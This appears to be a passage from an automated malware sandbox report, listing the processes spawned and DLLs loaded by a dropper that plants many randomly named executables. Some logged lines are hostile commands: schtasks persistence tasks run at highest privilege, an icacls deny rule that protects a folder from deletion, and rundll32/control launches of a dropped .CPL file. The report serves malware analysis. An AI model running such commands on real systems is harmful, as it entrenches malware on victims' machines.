Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Process created: C:\Users\user\Documents\SimpleAdobe\J9jGBSSbDD3yrTx79DzmOLls.exe C:\Users\user\Documents\SimpleAdobe\J9jGBSSbDD3yrTx79DzmOLls.exe
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Process created: C:\Users\user\Documents\SimpleAdobe\zfQlIB6J8n2u_zLV5LHnA1xW.exe C:\Users\user\Documents\SimpleAdobe\zfQlIB6J8n2u_zLV5LHnA1xW.exe
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Process created: C:\Users\user\Documents\SimpleAdobe\ZMyjNtrJZsXoQ4xLeKYzrWJD.exe C:\Users\user\Documents\SimpleAdobe\ZMyjNtrJZsXoQ4xLeKYzrWJD.exe
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Process created: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Process created: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Process created: C:\Users\user\Documents\SimpleAdobe\_rSi8sV87ppx0bgkbETdFbEZ.exe C:\Users\user\Documents\SimpleAdobe\_rSi8sV87ppx0bgkbETdFbEZ.exe
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Process created: C:\Users\user\Documents\SimpleAdobe\MYZqYdU5cUVwEz2j0JYbnTar.exe C:\Users\user\Documents\SimpleAdobe\MYZqYdU5cUVwEz2j0JYbnTar.exe
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Process created: C:\Users\user\Documents\SimpleAdobe\FIxDICT7hSLYFeTzbHHqKZ7Z.exe C:\Users\user\Documents\SimpleAdobe\FIxDICT7hSLYFeTzbHHqKZ7Z.exe
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Process created: C:\Users\user\Documents\SimpleAdobe\0YXJTGaxIrryNdvx7SKozTjt.exe C:\Users\user\Documents\SimpleAdobe\0YXJTGaxIrryNdvx7SKozTjt.exe
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Process created: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Process created: C:\Users\user\Documents\SimpleAdobe\RPA18tS89oJgBrOTDKzODMll.exe C:\Users\user\Documents\SimpleAdobe\RPA18tS89oJgBrOTDKzODMll.exe
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Process created: C:\Users\user\Documents\SimpleAdobe\g_XGqx6vQcj4WvdQ2CmFiUpM.exe C:\Users\user\Documents\SimpleAdobe\g_XGqx6vQcj4WvdQ2CmFiUpM.exe
Source: C:\Users\user\Documents\SimpleAdobe\ogoGQsWFwF_EcodN5qF7hiVC.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Documents\SimpleAdobe\J9jGBSSbDD3yrTx79DzmOLls.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Documents\SimpleAdobe\_rSi8sV87ppx0bgkbETdFbEZ.exe	Process created: C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp "C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp" /SL5="$4042A,5528781,54272,C:\Users\user\Documents\SimpleAdobe\_rSi8sV87ppx0bgkbETdFbEZ.exe"
Source: C:\Users\user\Documents\SimpleAdobe\ogoGQsWFwF_EcodN5qF7hiVC.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Process created: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe
Source: C:\Users\user\Documents\SimpleAdobe\zfQlIB6J8n2u_zLV5LHnA1xW.exe	Process created: C:\Users\user\AppData\Local\Temp\kat806.tmp C:\Users\user\AppData\Local\Temp\kat806.tmp
Source: C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp	Process created: C:\Users\user\AppData\Local\Turquoise CD Player\turquoisecdplayer.exe "C:\Users\user\AppData\Local\Turquoise CD Player\turquoisecdplayer.exe" -i
Source: C:\Users\user\Documents\SimpleAdobe\g_XGqx6vQcj4WvdQ2CmFiUpM.exe	Process created: C:\Users\user\AppData\Local\Temp\7zSFB35.tmp\Install.exe .\Install.exe
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 HR" /sc HOURLY /rl HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Documents\SimpleAdobe\MYZqYdU5cUVwEz2j0JYbnTar.exe	Process created: C:\Windows\SysWOW64\control.exe "C:\Windows\System32\control.exe" "C:\Users\user\AppData\Local\Temp\eKhLlZQ.CPL",
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 LG" /sc ONLOGON /rl HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\control.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL "C:\Users\user\AppData\Local\Temp\eKhLlZQ.CPL",
Source: C:\Users\user\AppData\Local\Temp\7zSFB35.tmp\Install.exe	Process created: C:\Users\user\AppData\Local\Temp\7zSD75.tmp\Install.exe .\Install.exe /jfXIEdidloJv "525403" /S
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k WerSvcGroup
Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Users\user\AppData\Local\cd606818-a84b-463e-828b-b93214ba547c" /deny *S-1-1-0:(OI)(CI)(DE,DC)
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Process created: C:\Users\user\Documents\SimpleAdobe\_ebPmq_TcwNignYm0bf0ytJM.exe C:\Users\user\Documents\SimpleAdobe\_ebPmq_TcwNignYm0bf0ytJM.exe	Jump to behavior
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Process created: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Jump to behavior
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Process created: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Jump to behavior
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Process created: C:\Users\user\Documents\SimpleAdobe\ogoGQsWFwF_EcodN5qF7hiVC.exe C:\Users\user\Documents\SimpleAdobe\ogoGQsWFwF_EcodN5qF7hiVC.exe	Jump to behavior
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Process created: C:\Users\user\Documents\SimpleAdobe\Zy329tNpRVznAcNUeSg4uGuQ.exe C:\Users\user\Documents\SimpleAdobe\Zy329tNpRVznAcNUeSg4uGuQ.exe	Jump to behavior
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Process created: C:\Users\user\Documents\SimpleAdobe\J9jGBSSbDD3yrTx79DzmOLls.exe C:\Users\user\Documents\SimpleAdobe\J9jGBSSbDD3yrTx79DzmOLls.exe	Jump to behavior
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Process created: C:\Users\user\Documents\SimpleAdobe\zfQlIB6J8n2u_zLV5LHnA1xW.exe C:\Users\user\Documents\SimpleAdobe\zfQlIB6J8n2u_zLV5LHnA1xW.exe	Jump to behavior
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Process created: C:\Users\user\Documents\SimpleAdobe\ZMyjNtrJZsXoQ4xLeKYzrWJD.exe C:\Users\user\Documents\SimpleAdobe\ZMyjNtrJZsXoQ4xLeKYzrWJD.exe	Jump to behavior
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Process created: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Jump to behavior
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Process created: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	Jump to behavior
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Process created: C:\Users\user\Documents\SimpleAdobe\_rSi8sV87ppx0bgkbETdFbEZ.exe C:\Users\user\Documents\SimpleAdobe\_rSi8sV87ppx0bgkbETdFbEZ.exe	Jump to behavior
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Process created: C:\Users\user\Documents\SimpleAdobe\MYZqYdU5cUVwEz2j0JYbnTar.exe C:\Users\user\Documents\SimpleAdobe\MYZqYdU5cUVwEz2j0JYbnTar.exe	Jump to behavior
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Process created: C:\Users\user\Documents\SimpleAdobe\FIxDICT7hSLYFeTzbHHqKZ7Z.exe C:\Users\user\Documents\SimpleAdobe\FIxDICT7hSLYFeTzbHHqKZ7Z.exe	Jump to behavior
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Process created: C:\Users\user\Documents\SimpleAdobe\0YXJTGaxIrryNdvx7SKozTjt.exe C:\Users\user\Documents\SimpleAdobe\0YXJTGaxIrryNdvx7SKozTjt.exe	Jump to behavior
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Process created: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	Jump to behavior
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Process created: C:\Users\user\Documents\SimpleAdobe\RPA18tS89oJgBrOTDKzODMll.exe C:\Users\user\Documents\SimpleAdobe\RPA18tS89oJgBrOTDKzODMll.exe	Jump to behavior
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Process created: C:\Users\user\Documents\SimpleAdobe\g_XGqx6vQcj4WvdQ2CmFiUpM.exe C:\Users\user\Documents\SimpleAdobe\g_XGqx6vQcj4WvdQ2CmFiUpM.exe	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Process created: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\ogoGQsWFwF_EcodN5qF7hiVC.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Documents\SimpleAdobe\ogoGQsWFwF_EcodN5qF7hiVC.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Documents\SimpleAdobe\Zy329tNpRVznAcNUeSg4uGuQ.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\SimpleAdobe\Zy329tNpRVznAcNUeSg4uGuQ.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\SimpleAdobe\Zy329tNpRVznAcNUeSg4uGuQ.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\SimpleAdobe\J9jGBSSbDD3yrTx79DzmOLls.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Documents\SimpleAdobe\zfQlIB6J8n2u_zLV5LHnA1xW.exe	Process created: C:\Users\user\AppData\Local\Temp\kat806.tmp C:\Users\user\AppData\Local\Temp\kat806.tmp
Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 HR" /sc HOURLY /rl HIGHEST
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 LG" /sc ONLOGON /rl HIGHEST
Source: C:\Users\user\Documents\SimpleAdobe\_rSi8sV87ppx0bgkbETdFbEZ.exe	Process created: C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp "C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp" /SL5="$4042A,5528781,54272,C:\Users\user\Documents\SimpleAdobe\_rSi8sV87ppx0bgkbETdFbEZ.exe"
Source: C:\Users\user\Documents\SimpleAdobe\MYZqYdU5cUVwEz2j0JYbnTar.exe	Process created: C:\Windows\SysWOW64\control.exe "C:\Windows\System32\control.exe" "C:\Users\user\AppData\Local\Temp\eKhLlZQ.CPL",
Source: C:\Users\user\Documents\SimpleAdobe\RPA18tS89oJgBrOTDKzODMll.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\SimpleAdobe\RPA18tS89oJgBrOTDKzODMll.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\SimpleAdobe\RPA18tS89oJgBrOTDKzODMll.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\SimpleAdobe\RPA18tS89oJgBrOTDKzODMll.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\SimpleAdobe\RPA18tS89oJgBrOTDKzODMll.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\SimpleAdobe\RPA18tS89oJgBrOTDKzODMll.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\SimpleAdobe\RPA18tS89oJgBrOTDKzODMll.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\SimpleAdobe\RPA18tS89oJgBrOTDKzODMll.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\SimpleAdobe\g_XGqx6vQcj4WvdQ2CmFiUpM.exe	Process created: C:\Users\user\AppData\Local\Temp\7zSFB35.tmp\Install.exe .\Install.exe
Source: C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp	Process created: C:\Users\user\AppData\Local\Turquoise CD Player\turquoisecdplayer.exe "C:\Users\user\AppData\Local\Turquoise CD Player\turquoisecdplayer.exe" -i
Source: C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp	Process created: unknown unknown
Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Users\user\AppData\Local\cd606818-a84b-463e-828b-b93214ba547c" /deny *S-1-1-0:(OI)(CI)(DE,DC)
Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\7zSFB35.tmp\Install.exe	Process created: C:\Users\user\AppData\Local\Temp\7zSD75.tmp\Install.exe .\Install.exe /jfXIEdidloJv "525403" /S
Source: C:\Windows\SysWOW64\control.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL "C:\Users\user\AppData\Local\Temp\eKhLlZQ.CPL",
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\7zSD75.tmp\Install.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\7zSD75.tmp\Install.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\7zSD75.tmp\Install.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\7zSD75.tmp\Install.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Section loaded: gpedit.dll	Jump to behavior
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Section loaded: activeds.dll	Jump to behavior
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Section loaded: dssec.dll	Jump to behavior
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Section loaded: dsuiext.dll	Jump to behavior
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Section loaded: authz.dll	Jump to behavior
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Section loaded: ntdsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Section loaded: adsldpc.dll	Jump to behavior
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Section loaded: adsldpc.dll	Jump to behavior
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Section loaded: adsldpc.dll	Jump to behavior
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\CHA0VZiz8y.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fhsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msidle.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fhcfg.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wevtapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: efsutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncasvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: httpprxp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wpdbusenum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: portabledeviceapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: portabledeviceconnectapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\_ebPmq_TcwNignYm0bf0ytJM.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\_ebPmq_TcwNignYm0bf0ytJM.exe	Section loaded: ncrypt.dll	Jump to behavior
